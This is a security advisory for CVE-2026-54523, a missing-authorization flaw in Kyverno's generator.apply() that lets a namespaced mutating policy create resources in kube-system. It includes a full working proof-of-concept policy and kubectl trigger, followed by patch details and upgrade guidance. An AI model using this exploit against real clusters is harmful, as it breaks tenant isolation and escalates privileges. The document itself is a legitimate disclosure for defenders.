CVE-2026-54523: Kyverno NamespacedMutatingPolicy Missing Authorization in generator.apply()
A tenant with permission to create a NamespacedMutatingPolicy in their own namespace can trick Kyverno's admission controller into writing resources into any namespace, including kube-system, using…

The problem
Kyverno v1.18.0 and v1.18.1 expose the CEL generator library inside NamespacedMutatingPolicy match-condition expressions. The function generator.apply(namespace, resources) at pkg/cel/libs/context.go:177 accepts an arbitrary namespace string with no validation.
Because the nmpol CEL compiler unintentionally includes the generator library, a tenant can embed generator.apply("kube-system", [...]) in a matchConditions boolean expression. The admission controller evaluates that expression at request time and creates the specified resources using its own cluster-wide RBAC, completely bypassing namespace isolation.
Proof of concept
A working proof-of-concept for CVE-2026-54523 in github.com/kyverno/kyverno, with the exact payload below.
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
name: cross-ns-escalate
namespace: tenant-ns # attacker only needs create here
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
resources: ["configmaps"]
operations: ["CREATE"]
mutations:
- patchType: applyConfiguration
applyConfiguration:
expression: object
matchConditions:
- name: trigger-escalation
expression: |
generator.apply("kube-system", [
{
"apiVersion": dyn("v1"),
"kind": dyn("ConfigMap"),
"metadata": dyn({
"name": "kube-system-config",
"namespace": "kube-system"
}),
"data": dyn({
"injected-by": "tenant-policy"
})
}
])
---
# Trigger: create any ConfigMap in tenant-ns to fire the webhook
kubectl create configmap trigger --from-literal=x=1 -n tenant-ns
# Result: configmap/kube-system-config now exists in kube-systemThe validator for NamespacedMutatingPolicy (pkg/cel/policies/mpol/validate.go) only checks that the CEL expression compiles. It never asserts that the namespace argument to generator.apply() matches the policy's own namespace. Other Kyverno code paths do enforce this boundary: pkg/engine/apicall/apicall.go:73-82 checks namespace segments on API calls, and pkg/engine/context/loaders/configmap.go:102 rejects cross-namespace ConfigMap references for namespaced policies. GenerateResources had neither guard.
The patch (PR #16238, commits 0919553 and 5164bcd) adds an equivalent namespace-boundary check directly inside generator.apply() so that a namespaced policy cannot supply a target namespace different from its own. The kyverno/sdk companion fix (commit 6573937) enforces the same guard at the SDK layer.
CWE-862 (Missing Authorization).
The fix
Upgrade to Kyverno v1.18.2. The fix is in PR #16238 (commits 0919553c and 5164bcde): generator.apply() now rejects any target namespace that does not match the policy's own namespace, bringing it in line with the guards already present on apiCall and configmap loaders.
No workaround exists in v1.18.0 or v1.18.1 other than removing create permission on namespacedmutatingpolicies.policies.kyverno.io from non-admin users.
Reported by 0xVijay.
Related research
- high · 7.5CVE-2026-54719CVE-2026-54719: goshs .goshs ACL Bypass via ?bulk Zip-Download Route
- high · 8.2CVE-2026-27771CVE-2026-27771: Gitea Container Registry Authentication Bypass
- high · 7.7nebula-mesh: Non-Admin SSRF via Unguarded allow_private Webhook Flag
- highCVE-2026-61549CVE-2026-61549: Woodpecker CI Kubernetes Backend Privilege Escalation via serviceAccountName